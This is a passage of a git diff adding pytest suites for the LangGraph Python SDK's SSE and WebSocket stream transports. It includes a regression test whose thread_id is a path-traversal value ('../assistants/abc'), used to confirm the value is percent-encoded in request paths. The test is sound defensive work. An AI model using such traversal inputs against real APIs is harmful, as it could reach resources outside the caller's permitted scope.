async with httpx.AsyncClient(transport=transport, base_url="http://test") as client: + sse = ProtocolSseTransport(client=client, thread_id="t-1") + await sse.close() + with pytest.raises(RuntimeError, match="closed"): + await sse.send_command({"id": 1, "method": "noop", "params": {}}) + + +async def test_send_command_raises_http_error_on_4xx(): + from starlette.applications import Starlette + from starlette.responses import JSONResponse + from starlette.routing import Route + + async def commands(_request): + return JSONResponse({"error": "bad request"}, status_code=400) + + app = Starlette( + routes=[Route("/threads/{thread_id}/commands", commands, methods=["POST"])] + ) + transport = httpx.ASGITransport(app=app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as client: + sse = ProtocolSseTransport(client=client, thread_id="t-1") + with pytest.raises(httpx.HTTPStatusError): + await sse.send_command({"id": 1, "method": "noop", "params": {}}) + + +async def test_open_event_stream_yields_scripted_events(): + from streaming._events import lifecycle_event, values_event + from streaming._fake_server import FakeServer + + fake = FakeServer() + fake.script( + [ + lifecycle_event(seq=0), + values_event(seq=1), + ] + ) + transport = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as client: + sse = ProtocolSseTransport(client=client, thread_id="t-1") + handle = sse.open_event_stream( + {"channels": ["lifecycle", "values"], "namespaces": [[]]} + ) + await asyncio.wait_for(handle.ready, timeout=1.0) + received = [e async for e in handle.events] + await handle.close() + methods = [e["method"] for e in received] + assert methods == ["lifecycle", "values"] + + +async def test_open_event_stream_passes_since_in_body(): + from streaming._fake_server import FakeServer + + fake = FakeServer() + fake.script([]) + transport = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as client: + sse = ProtocolSseTransport(client=client, thread_id="t-1") + handle = sse.open_event_stream({"channels": ["values"], "since": 42}) + await asyncio.wait_for(handle.ready, timeout=1.0) + _ = [e async for e in handle.events] + await handle.close() + assert fake.stream_request_bodies[0]["since"] == 42 + assert fake.stream_request_bodies[0]["channels"] == ["values"] + + +async def test_open_event_stream_close_cancels_in_flight_iteration(): + from streaming._events import lifecycle_event + from streaming._fake_server import FakeServer + + fake = FakeServer() + fake.script( + [lifecycle_event(seq=i) for i in range(50)], + ) + transport = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as client: + sse = ProtocolSseTransport(client=client, thread_id="t-1") + handle = sse.open_event_stream({"channels": ["lifecycle"]}) + await asyncio.wait_for(handle.ready, timeout=1.0) + agen = handle.events + first = await agen.__anext__() + await handle.close() + # Further iteration should terminate cleanly, not hang. + with pytest.raises(StopAsyncIteration): + await asyncio.wait_for(agen.__anext__(), timeout=1.0) + assert first["method"] == "lifecycle" + + +@pytest.mark.anyio +async def test_transport_accepts_max_queue_size_kwarg(): + transport = ProtocolSseTransport( + client=httpx.AsyncClient(), + thread_id="t1", + max_queue_size=42, + ) + assert transport._max_queue_size == 42 + + +@pytest.mark.anyio +async def test_transport_default_max_queue_size_is_1024(): + transport = ProtocolSseTransport( + client=httpx.AsyncClient(), + thread_id="t1", + ) + assert transport._max_queue_size == 1024 + + +@pytest.mark.anyio +async def test_pump_backpressures_when_queue_full(): + """Slow consumer should not cause unbounded queue growth. + + With maxsize=2 and a producer that emits 100 events before any consumption, + the pump must suspend on queue.put after the second enqueue rather than + buffer all 100. We verify by counting queue items observed at the suspension + point. + """ + q: asyncio.Queue[int] = asyncio.Queue(maxsize=2) + + produced: list[int] = [] + + async def producer(): + for i in range(100): + await q.put(i) + produced.append(i) + + task = asyncio.create_task(producer()) + await asyncio.sleep(0.05) # let producer fill and suspend + task.cancel() + with contextlib.suppress(asyncio.CancelledError): + await task + + # Producer should have enqueued 2 items, then blocked waiting on a third + # put. The third item was attempted but never completed. + assert len(produced) == 2 + + +@pytest.mark.anyio +async def test_mid_stream_error_after_ready_surfaces_on_done(): + """If the SSE response body iteration raises after headers/ready, the + error must be exposed on handle.done so callers can distinguish a clean + end from a transport failure.""" + import httpx + + from langgraph_sdk.stream.transport.http import ProtocolSseTransport + + def handler(_request: httpx.Request) -> httpx.Response: + async def body(): + yield b'event: message\ndata: {"jsonrpc": "2.0"}\n\n' + raise RuntimeError("simulated mid-stream drop") + + return httpx.Response(200, content=body()) + + mock = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=mock, base_url="http://example.com" + ) as client: + transport = ProtocolSseTransport( + client=client, + thread_id="t1", + ) + handle = transport.open_event_stream({"channels": ["values"]}) + await handle.ready + async for _ in handle.events: + pass + err = await handle.done + assert isinstance(err, RuntimeError) + assert "mid-stream drop" in str(err) + + +@pytest.mark.anyio +async def test_clean_stream_end_done_resolves_with_none(): + """A stream that ends without error must resolve `done` with None.""" + import httpx + + from langgraph_sdk.stream.transport.http import ProtocolSseTransport + + def handler(_request: httpx.Request) -> httpx.Response: + async def body(): + yield b'event: message\ndata: {"jsonrpc": "2.0"}\n\n' + + return httpx.Response(200, content=body()) + + mock = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=mock, base_url="http://example.com" + ) as client: + transport = ProtocolSseTransport( + client=client, + thread_id="t1", + ) + handle = transport.open_event_stream({"channels": ["values"]}) + await handle.ready + async for _ in handle.events: + pass + err = await handle.done + assert err is None + + +@pytest.mark.anyio +async def test_send_command_empty_200_body_raises_runtime_error_not_decoder_error(): + """A 200 response with empty body must raise RuntimeError matching the + 'did not return a valid response' contract, not orjson.JSONDecodeError.""" + import httpx + + from langgraph_sdk.stream.transport.http import ProtocolSseTransport + + def handler(_request: httpx.Request) -> httpx.Response: + return httpx.Response(200, content=b"") + + mock = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=mock, base_url="http://example.com" + ) as client: + transport = ProtocolSseTransport( + client=client, + thread_id="t1", + ) + with pytest.raises(RuntimeError, match="did not return a valid response"): + await transport.send_command( + {"command_id": 1, "method": "run.start", "params": {}} + ) + + +@pytest.mark.anyio +async def test_cancel_event_prevents_post_cancel_flush(): + """When the consumer cancels the handle mid-stream, the pump's decoder + flush MUST NOT emit additional events after the cancel point.""" + import httpx + + from langgraph_sdk.stream.transport.http import ProtocolSseTransport + + received: list = [] + + def handler(_request: httpx.Request) -> httpx.Response: + async def body(): + yield b'event: message\ndata: {"seq": 1}\n\n' + yield b'event: message\ndata: {"seq": 2}\n\n' + yield b'event: message\ndata: {"seq": 3}\n\n' + + return httpx.Response(200, content=body()) + + mock = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=mock, base_url="http://example.com" + ) as client: + transport = ProtocolSseTransport( + client=client, + thread_id="t1", + ) + handle = transport.open_event_stream({"channels": ["values"]}) + await handle.ready + async for event in handle.events: + received.append(event) + if len(received) == 1: + await handle.close() + break + # After close, no further events should drain from the flush. + async for _ in handle.events: + pytest.fail("event yielded after close()") + assert len(received) == 1 + + +@pytest.mark.anyio +async def test_open_event_stream_ready_rejects_on_5xx(): + from starlette.applications import Starlette + from starlette.responses import JSONResponse + from starlette.routing import Route + + async def stream_events(_request): + return JSONResponse({"error": "boom"}, status_code=500) + + app = Starlette( + routes=[ + Route( + "/threads/{thread_id}/stream/events", + stream_events, + methods=["POST"], + ) + ] + ) + transport = httpx.ASGITransport(app=app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as client: + sse = ProtocolSseTransport(client=client, thread_id="t-1") + handle = sse.open_event_stream({"channels": ["lifecycle"]}) + with pytest.raises(httpx.HTTPStatusError): + await asyncio.wait_for(handle.ready, timeout=1.0) + # Iterator should terminate cleanly (no hang). + with pytest.raises(StopAsyncIteration): + await asyncio.wait_for(handle.events.__anext__(), timeout=1.0) + await handle.close() + + +def test_build_event_stream_body_minimal_channels_only(): + from langgraph_sdk.stream.transport.http import _build_event_stream_body + + body = _build_event_stream_body({"channels": ["values"]}) + assert body == {"channels": ["values"]} + + +def test_build_event_stream_body_includes_all_optional_fields(): + from langgraph_sdk.stream.transport.http import _build_event_stream_body + + body = _build_event_stream_body( + { + "channels": ["values", "messages"], + "namespaces": [["fetcher"]], + "depth": 2, + "since": 7, + } + ) + assert body == { + "channels": ["values", "messages"], + "namespaces": [["fetcher"]], + "depth": 2, + "since": 7, + } + + +def test_build_event_stream_body_omits_since_when_not_int(): + from langgraph_sdk.stream.transport.http import _build_event_stream_body + + body = _build_event_stream_body({"channels": ["values"], "since": None}) + assert "since" not in body + + +async def test_open_event_stream_raises_when_closed(): + from streaming._fake_server import FakeServer + + fake = FakeServer() + transport = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as client: + sse = ProtocolSseTransport(client=client, thread_id="t-1") + await sse.close() + with pytest.raises(RuntimeError, match="closed"): + sse.open_event_stream({"channels": ["lifecycle"]}) + + +async def test_transport_close_cancels_open_event_streams(): + from streaming._events import lifecycle_event + from streaming._fake_server import FakeServer + + fake = FakeServer() + fake.script([lifecycle_event(seq=i) for i in range(5)], delay=0.05) + transport = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as client: + sse = ProtocolSseTransport(client=client, thread_id="t-1") + handle = sse.open_event_stream({"channels": ["lifecycle"]}) + await asyncio.wait_for(handle.ready, timeout=1.0) + # Closing the transport must terminate the open stream within a bounded time. + await asyncio.wait_for(sse.close(), timeout=1.0) + + # Drain any already-queued events; the stream must end (not hang). + async def drain() -> None: + async for _ in handle.events: + pass + + await asyncio.wait_for(drain(), timeout=1.0) + + +async def test_default_headers_forwarded_to_send_command(): + """Headers passed at construction are sent on every command request.""" + from streaming._fake_server import FakeServer + + fake = FakeServer() + transport = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as client: + sse = ProtocolSseTransport( + client=client, + thread_id="t-1", + headers={"X-Trace-Id": "abc123"}, + ) + await sse.send_command({"id": 1, "method": "run.start", "params": {}}) + assert fake.command_request_headers[0].get("x-trace-id") == "abc123" + # content-type must not be clobbered by default headers + assert "application/json" in fake.command_request_headers[0].get("content-type", "") + + +async def test_default_headers_forwarded_to_open_event_stream(): + """Headers passed at construction are sent on every SSE stream request.""" + from streaming._fake_server import FakeServer + + fake = FakeServer() + fake.script([]) + transport = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as client: + sse = ProtocolSseTransport( + client=client, + thread_id="t-1", + headers={"X-Trace-Id": "abc123"}, + ) + handle = sse.open_event_stream({"channels": ["lifecycle"]}) + await asyncio.wait_for(handle.ready, timeout=1.0) + _ = [e async for e in handle.events] + await handle.close() + assert fake.stream_request_headers_list[0].get("x-trace-id") == "abc123" + # Fixed SSE headers must not be clobbered by default headers + assert "text/event-stream" in fake.stream_request_headers_list[0].get("accept", "") + + +async def test_default_headers_cannot_override_sse_fixed_headers(): + """Caller-supplied default headers must not override content-type or accept.""" + from streaming._fake_server import FakeServer + + fake = FakeServer() + fake.script([]) + transport = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as client: + sse = ProtocolSseTransport( + client=client, + thread_id="t-1", + headers={ + "content-type": "text/plain", + "accept": "application/json", + "cache-control": "max-age=3600", + }, + ) + handle = sse.open_event_stream({"channels": ["lifecycle"]}) + await asyncio.wait_for(handle.ready, timeout=1.0) + _ = [e async for e in handle.events] + await handle.close() + hdrs = fake.stream_request_headers_list[0] + assert "application/json" in hdrs.get("content-type", "") + assert "text/event-stream" in hdrs.get("accept", "") + assert hdrs.get("cache-control") == "no-store" + + +async def test_fake_server_state_endpoint(): + """State endpoint returns the set state and increments the counter.""" + from streaming._fake_server import FakeServer + + fake = FakeServer() + fake.set_state({"foo": "bar"}, next=["node_a"]) + transport = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as client: + resp = await client.get("/threads/t-1/state") + assert resp.status_code == 200 + body = resp.json() + assert body["values"] == {"foo": "bar"} + assert body["next"] == ["node_a"] + assert body["tasks"] == [] + assert body["metadata"] == {} + assert body["checkpoint"] is None + assert body["created_at"] is None + assert fake.state_request_count == 1 + assert len(fake.state_request_headers) == 1 + + +def test_values_event_builder_shape(): + """values_event produces the expected shape with params.data as the snapshot.""" + from streaming._events import values_event + + evt = values_event(seq=1, values={"foo": 1}) + assert evt["event_id"] == "evt-1" + assert evt["method"] == "values" + assert evt["params"]["data"] == {"values": {"foo": 1}} + assert evt["params"]["namespace"] == [] + + +async def test_open_event_stream_done_records_post_ready_error(): + from streaming._events import values_event + + event_data = values_event(seq=1) + + class _FailAfterOneStream(httpx.AsyncByteStream): + async def __aiter__(self): + import orjson + + payload = orjson.dumps(event_data).decode() + yield f"id: {event_data.get('event_id', '')}\n".encode() + yield f"event: message\ndata: {payload}\n\n".encode() + raise RuntimeError("scripted async stream failure") + + async def handler(_request: httpx.Request) -> httpx.Response: + return httpx.Response( + 200, + headers={"content-type": "text/event-stream"}, + stream=_FailAfterOneStream(), + ) + + transport = httpx.MockTransport(handler) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as client: + sse = ProtocolSseTransport(client=client, thread_id="t-1") + handle = sse.open_event_stream({"channels": ["values"]}) + await asyncio.wait_for(handle.ready, timeout=1.0) + received = [event async for event in handle.events] + err = await asyncio.wait_for(handle.done, timeout=1.0) + await handle.close() + + assert received == [values_event(seq=1)] + assert isinstance(err, RuntimeError) + assert "scripted async stream failure" in str(err) diff --git a/libs/sdk-py/tests/streaming/test_transport_path_encoding.py b/libs/sdk-py/tests/streaming/test_transport_path_encoding.py new file mode 100644 index 0000000..f1d7d83 --- /dev/null +++ b/libs/sdk-py/tests/streaming/test_transport_path_encoding.py @@ -0,0 +1,136 @@ +"""Regression tests for #7953: v3 stream transports must percent-encode +`thread_id` in their default paths so a value containing reserved characters +or dot-segments stays an opaque identifier under `/threads/{thread_id}/...` +instead of being normalized into a different resource path by the HTTP stack. +""" + +from __future__ import annotations + +import httpx +import pytest + +from langgraph_sdk.stream.transport.base import build_websocket_url +from langgraph_sdk.stream.transport.http import ProtocolSseTransport +from langgraph_sdk.stream.transport.sync_http import SyncProtocolSseTransport +from langgraph_sdk.stream.transport.sync_ws import SyncProtocolWebSocketTransport +from langgraph_sdk.stream.transport.ws import ProtocolWebSocketTransport + +# A thread_id that escapes the /threads/ namespace if interpolated raw: an HTTP +# client collapses `/threads/../assistants/abc/...` to `/assistants/abc/...`. +TRAVERSAL_THREAD_ID = "../assistants/abc" +ENCODED_COMMANDS_PATH = "/threads/..%2Fassistants%2Fabc/commands" +ENCODED_STREAM_PATH = "/threads/..%2Fassistants%2Fabc/stream/events" + + +@pytest.mark.anyio +async def test_async_sse_default_paths_encode_thread_id(): + transport = ProtocolSseTransport( + client=httpx.AsyncClient(), thread_id=TRAVERSAL_THREAD_ID + ) + assert transport._commands_url == ENCODED_COMMANDS_PATH + assert transport._stream_url == ENCODED_STREAM_PATH + + +def test_sync_sse_default_paths_encode_thread_id(): + transport = SyncProtocolSseTransport( + client=httpx.Client(), thread_id=TRAVERSAL_THREAD_ID + ) + assert transport._commands_url == ENCODED_COMMANDS_PATH + assert transport._stream_url == ENCODED_STREAM_PATH + + +@pytest.mark.anyio +async def test_async_ws_default_paths_encode_thread_id(): + transport = ProtocolWebSocketTransport( + client=httpx.AsyncClient(), thread_id=TRAVERSAL_THREAD_ID + ) + assert transport._commands_url == ENCODED_COMMANDS_PATH + assert transport._stream_path == ENCODED_STREAM_PATH + + +def test_sync_ws_default_paths_encode_thread_id(): + transport = SyncProtocolWebSocketTransport( + client=httpx.Client(), thread_id=TRAVERSAL_THREAD_ID + ) + assert transport._commands_url == ENCODED_COMMANDS_PATH + assert transport._stream_path == ENCODED_STREAM_PATH + + +async def test_async_sse_wire_path_stays_under_threads_namespace(): + """The path that actually goes on the wire must not be normalized away.""" + seen: list[str] = [] + + async def handler(request: httpx.Request) -> httpx.Response: + seen.append(request.url.raw_path.decode("ascii")) + return httpx.Response(202) + + async with httpx.AsyncClient( + transport=httpx.MockTransport(handler), + base_url="https://example.com", + trust_env=False, + ) as client: + transport = ProtocolSseTransport(client=client, thread_id=TRAVERSAL_THREAD_ID) + await transport.send_command({"id": 1, "method": "noop", "params": {}}) + + assert seen[0] == ENCODED_COMMANDS_PATH + + +def test_sync_sse_wire_path_stays_under_threads_namespace(): + seen: list[str] = [] + + def handler(request: httpx.Request) -> httpx.Response: + seen.append(request.url.raw_path.decode("ascii")) + return httpx.Response(202) + + with httpx.Client( + transport=httpx.MockTransport(handler), + base_url="https://example.com", + trust_env=False, + ) as client: + transport = SyncProtocolSseTransport( + client=client, thread_id=TRAVERSAL_THREAD_ID + ) + transport.send_command({"id": 1, "method": "noop", "params": {}}) + + assert seen[0] == ENCODED_COMMANDS_PATH + + +@pytest.mark.anyio +async def test_async_ws_url_stays_under_threads_namespace(): + transport = ProtocolWebSocketTransport( + client=httpx.AsyncClient(base_url="https://example.com/api"), + thread_id=TRAVERSAL_THREAD_ID, + ) + url = build_websocket_url(transport._client.base_url, transport._stream_path) + assert url == "wss://example.com/api/threads/..%2Fassistants%2Fabc/stream/events" + + +def test_sync_ws_url_stays_under_threads_namespace(): + transport = SyncProtocolWebSocketTransport( + client=httpx.Client(base_url="https://example.com/api"), + thread_id=TRAVERSAL_THREAD_ID, + ) + url = build_websocket_url(transport._client.base_url, transport._stream_path) + assert url == "wss://example.com/api/threads/..%2Fassistants%2Fabc/stream/events" + + +@pytest.mark.anyio +async def test_explicit_path_overrides_are_left_untouched(): + """Callers passing explicit paths opt out of default encoding entirely.""" + sse = ProtocolSseTransport( + client=httpx.AsyncClient(), + thread_id=TRAVERSAL_THREAD_ID, + commands_path="/custom/commands", + stream_path="/custom/events", + ) + assert sse._commands_url == "/custom/commands" + assert sse._stream_url == "/custom/events" + + ws = ProtocolWebSocketTransport( + client=httpx.AsyncClient(), + thread_id=TRAVERSAL_THREAD_ID, + commands_path="/custom/commands", + stream_path="/custom/events", + ) + assert ws._commands_url == "/custom/commands" + assert ws._stream_path == "/custom/events" diff --git a/libs/sdk-py/tests/streaming/test_transport_ws.py b/libs/sdk-py/tests/streaming/test_transport_ws.py new file mode 100644 index 0000000..8844b75 --- /dev/null +++ b/libs/sdk-py/tests/streaming/test_transport_ws.py @@ -0,0 +1,616 @@ +from __future__ import annotations + +import asyncio +from collections.abc import AsyncIterator +from typing import Any + +import httpx +import orjson +import pytest +from websockets.exceptions import ConnectionClosedError, ConnectionClosedOK +from websockets.frames import Close + +from langgraph_sdk.stream.transport.ws import ProtocolWebSocketTransport +from streaming._events import values_event + + +class _FakeAsyncWebSocket: + def __init__( + self, + frames: list[dict[str, Any]], + *, + fail_after: int | None = None, + ) -> None: + self.frames = list(frames) + self.fail_after = fail_after + self.sent: list[str] = [] + self.closed = False + + async def __aenter__(self) -> _FakeAsyncWebSocket: + return self + + async def __aexit__(self, exc_type: Any, exc: Any, tb: Any) -> None: + await self.close() + + async def send(self, data: str | bytes) -> None: + self.sent.append(data.decode() if isinstance(data, bytes) else data) + + def __aiter__(self) -> AsyncIterator[str]: + return self._iter() + + async def _iter(self) -> AsyncIterator[str]: + for index, frame in enumerate(self.frames, start=1): + yield orjson.dumps(frame).decode() + if self.fail_after is not None and index >= self.fail_after: + raise RuntimeError("scripted websocket failure") + + async def close(self, code: int = 1000, reason: str = "") -> None: # noqa: ARG002 + self.closed = True + self.close_code = code + + +class _ClosingFakeAsyncWebSocket: + """Fake websocket that yields frames then raises a ConnectionClosed variant.""" + + def __init__( + self, + frames: list[dict[str, Any]], + *, + close_exc: BaseException, + ) -> None: + self.frames = list(frames) + self.close_exc = close_exc + self.sent: list[str] = [] + self.closed = False + + async def __aenter__(self) -> _ClosingFakeAsyncWebSocket: + return self + + async def __aexit__(self, exc_type: Any, exc: Any, tb: Any) -> None: + self.closed = True + + async def send(self, data: str | bytes) -> None: + self.sent.append(data.decode() if isinstance(data, bytes) else data) + + def __aiter__(self) -> AsyncIterator[str]: + return self._iter() + + async def _iter(self) -> AsyncIterator[str]: + for frame in self.frames: + yield orjson.dumps(frame).decode() + raise self.close_exc + + async def close(self, code: int = 1000, reason: str = "") -> None: # noqa: ARG002 + self.closed = True + + +async def test_ws_close_code_1000_resolves_done_with_none(): + """Close code 1000 (normal closure) resolves `done` with None.""" + socket = _ClosingFakeAsyncWebSocket( + [values_event(seq=1)], + close_exc=ConnectionClosedOK(Close(1000, "OK"), None), + ) + + def connect( + url: str, additional_headers: list[tuple[str, str]] | None = None, **_kw: Any + ): + _ = (url, additional_headers) + return socket + + async with httpx.AsyncClient(base_url="http://test") as client: + transport = ProtocolWebSocketTransport( + client=client, thread_id="t-1", connect=connect + ) + handle = transport.open_event_stream({"channels": ["values"]}) + await asyncio.wait_for(handle.ready, timeout=1.0) + _ = [e async for e in handle.events] + err = await asyncio.wait_for(handle.done, timeout=1.0) + await handle.close() + + assert err is None + + +async def test_ws_close_code_1006_resolves_done_with_error(): + """Close code 1006 (abnormal) resolves `done` with ConnectionClosedError.""" + socket = _ClosingFakeAsyncWebSocket( + [], + close_exc=ConnectionClosedError(None, Close(1006, "abnormal")), + ) + + def connect( + url: str, additional_headers: list[tuple[str, str]] | None = None, **_kw: Any + ): + _ = (url, additional_headers) + return socket + + async with httpx.AsyncClient(base_url="http://test") as client: + transport = ProtocolWebSocketTransport( + client=client, thread_id="t-1", connect=connect + ) + handle = transport.open_event_stream({"channels": ["values"]}) + await asyncio.wait_for(handle.ready, timeout=1.0) + _ = [e async for e in handle.events] + err = await asyncio.wait_for(handle.done, timeout=1.0) + await handle.close() + + assert isinstance(err, ConnectionClosedError) + + +async def test_ws_close_code_4000_resolves_done_with_error(): + """4xxx close codes resolve `done` with ConnectionClosedError.""" + socket = _ClosingFakeAsyncWebSocket( + [], + close_exc=ConnectionClosedError(None, Close(4000, "app error")), + ) + + def connect( + url: str, additional_headers: list[tuple[str, str]] | None = None, **_kw: Any + ): + _ = (url, additional_headers) + return socket + + async with httpx.AsyncClient(base_url="http://test") as client: + transport = ProtocolWebSocketTransport( + client=client, thread_id="t-1", connect=connect + ) + handle = transport.open_event_stream({"channels": ["values"]}) + await asyncio.wait_for(handle.ready, timeout=1.0) + _ = [e async for e in handle.events] + err = await asyncio.wait_for(handle.done, timeout=1.0) + await handle.close() + + assert isinstance(err, ConnectionClosedError) + + +class _RawFrameAsyncWebSocket: + """Fake websocket that yields arbitrary raw strings (not dicts).""" + + def __init__(self, raw_frames: list[str]) -> None: + self.raw_frames = list(raw_frames) + self.sent: list[str] = [] + self.closed = False + + async def __aenter__(self) -> _RawFrameAsyncWebSocket: + return self + + async def __aexit__(self, exc_type: Any, exc: Any, tb: Any) -> None: + self.closed = True + + async def send(self, data: str | bytes) -> None: + self.sent.append(data.decode() if isinstance(data, bytes) else data) + + def __aiter__(self) -> AsyncIterator[str]: + return self._iter() + + async def _iter(self) -> AsyncIterator[str]: + for frame in self.raw_frames: + yield frame + + async def close(self, code: int = 1000, reason: str = "") -> None: # noqa: ARG002 + self.closed = True + + +async def test_decode_frame_invalid_json_surfaces_error_on_done(): + """A WS frame with invalid JSON resolves `done` with a RuntimeError.""" + socket = _RawFrameAsyncWebSocket(["not-valid-json{{{"]) + + def connect( + url: str, additional_headers: list[tuple[str, str]] | None = None, **_kw: Any + ): + _ = (url, additional_headers) + return socket + + async with httpx.AsyncClient(base_url="http://test") as client: + transport = ProtocolWebSocketTransport( + client=client, thread_id="t-1", connect=connect + ) + handle = transport.open_event_stream({"channels": ["values"]}) + await asyncio.wait_for(handle.ready, timeout=1.0) + received = [e async for e in handle.events] + err = await asyncio.wait_for(handle.done, timeout=1.0) + await handle.close() + + assert received == [] + assert isinstance(err, RuntimeError) + assert "not valid JSON" in str(err) + + +async def test_decode_frame_non_dict_surfaces_error_on_done(): + """A WS frame that is valid JSON but not an object resolves `done` with RuntimeError.""" + socket = _RawFrameAsyncWebSocket(["[1, 2, 3]"]) + + def connect( + url: str, additional_headers: list[tuple[str, str]] | None = None, **_kw: Any + ): + _ = (url, additional_headers) + return socket + + async with httpx.AsyncClient(base_url="http://test") as client: + transport = ProtocolWebSocketTransport( + client=client, thread_id="t-1", connect=connect + ) + handle = transport.open_event_stream({"channels": ["values"]}) + await asyncio.wait_for(handle.ready, timeout=1.0) + received = [e async for e in handle.events] + err = await asyncio.wait_for(handle.done, timeout=1.0) + await handle.close() + + assert received == [] + assert isinstance(err, RuntimeError) + assert "not a JSON object" in str(err) + + +async def test_websocket_url_uses_ws_scheme_and_base_path(): + seen: list[tuple[str, list[tuple[str, str]] | None]] = [] + socket = _FakeAsyncWebSocket([]) + + def connect( + url: str, additional_headers: list[tuple[str, str]] | None = None, **_kw: Any + ): + seen.append((url, additional_headers)) + return socket + + async with httpx.AsyncClient(base_url="https://example.com/api") as client: + transport = ProtocolWebSocketTransport( + client=client, + thread_id="t-1", + headers={"x-test": "1"}, + connect=connect, + ) + handle = transport.open_event_stream({"channels": ["values"]}) + await asyncio.wait_for(handle.ready, timeout=1.0) + _ = [event async for event in handle.events] + await handle.close() + + assert seen == [ + ( + "wss://example.com/api/threads/t-1/stream/events", + [("x-test", "1")], + ) + ] + + +async def test_websocket_sends_subscribe_body_and_yields_events(): + event = values_event(seq=1, values={"counter": 1}) + socket = _FakeAsyncWebSocket([event]) + + def connect( + url: str, additional_headers: list[tuple[str, str]] | None = None, **_kw: Any + ): + _ = (url, additional_headers) + return socket + + async with httpx.AsyncClient(base_url="http://test") as client: + transport = ProtocolWebSocketTransport( + client=client, + thread_id="t-1", + connect=connect, + ) + handle = transport.open_event_stream( + {"channels": ["values"], "namespaces": [[]], "since": 7} + ) + await asyncio.wait_for(handle.ready, timeout=1.0) + received = [event async for event in handle.events] + err = await asyncio.wait_for(handle.done, timeout=1.0) + await handle.close() + + assert orjson.loads(socket.sent[0]) == { + "id": 1, + "method": "subscription.subscribe", + "params": { + "channels": ["values"], + "namespaces": [[]], + "since": 7, + }, + } + assert received == [event] + assert err is None + + +async def test_websocket_done_records_post_ready_error(): + socket = _FakeAsyncWebSocket([values_event(seq=1)], fail_after=1) + + def connect( + url: str, additional_headers: list[tuple[str, str]] | None = None, **_kw: Any + ): + _ = (url, additional_headers) + return socket + + async with httpx.AsyncClient(base_url="http://test") as client: + transport = ProtocolWebSocketTransport( + client=client, + thread_id="t-1", + connect=connect, + ) + handle = transport.open_event_stream({"channels": ["values"]}) + await asyncio.wait_for(handle.ready, timeout=1.0) + received = [event async for event in handle.events] + err = await asyncio.wait_for(handle.done, timeout=1.0) + await handle.close() + + assert received == [values_event(seq=1)] + assert isinstance(err, RuntimeError) + assert "scripted websocket failure" in str(err) + + +async def test_websocket_send_command_uses_http_commands_endpoint(): + from streaming._fake_server import FakeServer + + fake = FakeServer() + transport = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as client: + ws = ProtocolWebSocketTransport(client=client, thread_id="t-1") + result = await ws.send_command( + {"id": 3, "method": "run.start", "params": {"input": {"x": 1}}} + ) + + assert result == {"type": "success", "id": 3, "result": {"run_id": "run-1"}} + assert fake.received_commands[0]["method"] == "run.start" + + +async def test_websocket_open_event_stream_raises_when_closed(): + async with httpx.AsyncClient(base_url="http://test") as client: + ws = ProtocolWebSocketTransport(client=client, thread_id="t-1") + await ws.close() + with pytest.raises(RuntimeError, match="closed"): + ws.open_event_stream({"channels": ["values"]}) + + +async def test_websocket_transport_feeds_async_stream_controller(): + from langgraph_sdk.stream.controller import StreamController + + socket = _FakeAsyncWebSocket( + [ + values_event(seq=1, values={"counter": 1}), + values_event(seq=2, values={"counter": 2}), + ] + ) + + def connect( + url: str, additional_headers: list[tuple[str, str]] | None = None, **_kw: Any + ): + _ = (url, additional_headers) + return socket + + async with httpx.AsyncClient(base_url="http://test") as client: + transport = ProtocolWebSocketTransport( + client=client, + thread_id="t-1", + connect=connect, + ) + + async def gate() -> None: + return None + + controller = StreamController(transport=transport, run_start_gate=gate) + sub = controller.register_subscription({"channels": ["values"]}) + await controller.reconcile_stream({"channels": ["values"]}) + controller.ensure_fanout_running() + + first = await asyncio.wait_for(sub.queue.get(), timeout=1.0) + second = await asyncio.wait_for(sub.queue.get(), timeout=1.0) + end = await asyncio.wait_for(sub.queue.get(), timeout=1.0) + await controller.close() + await transport.close() + + assert first["seq"] == 1 + assert second["seq"] == 2 + assert end is None + + +async def test_ws_transport_accepts_max_queue_size_kwarg(): + async with httpx.AsyncClient(base_url="http://test") as client: + transport = ProtocolWebSocketTransport( + client=client, + thread_id="t-1", + max_queue_size=42, + ) + assert transport._max_queue_size == 42 + + +async def test_ws_transport_default_max_queue_size_is_1024(): + async with httpx.AsyncClient(base_url="http://test") as client: + transport = ProtocolWebSocketTransport( + client=client, + thread_id="t-1", + ) + assert transport._max_queue_size == 1024 + + +async def test_websocket_controller_reconnects_with_since_after_drop(): + from langgraph_sdk.stream.controller import StreamController + + first_socket = _FakeAsyncWebSocket( + [values_event(seq=1, values={"counter": 1})], + fail_after=1, + ) + second_socket = _FakeAsyncWebSocket([values_event(seq=2, values={"counter": 2})]) + sockets = [first_socket, second_socket] + sent_urls: list[str] = [] + + def connect( + url: str, additional_headers: list[tuple[str, str]] | None = None, **_kw: Any + ): + _ = additional_headers + sent_urls.append(url) + return sockets.pop(0) + + async with httpx.AsyncClient(base_url="http://test") as client: + transport = ProtocolWebSocketTransport( + client=client, + thread_id="t-1", + connect=connect, + ) + + async def gate() -> None: + return None + + controller = StreamController(transport=transport, run_start_gate=gate) + sub = controller.register_subscription({"channels": ["values"]}) + await controller.reconcile_stream({"channels": ["values"]}) + controller.ensure_fanout_running() + + first = await asyncio.wait_for(sub.queue.get(), timeout=1.0) + second = await asyncio.wait_for(sub.queue.get(), timeout=1.0) + end = await asyncio.wait_for(sub.queue.get(), timeout=1.0) + await controller.close() + await transport.close() + + assert first["seq"] == 1 + assert 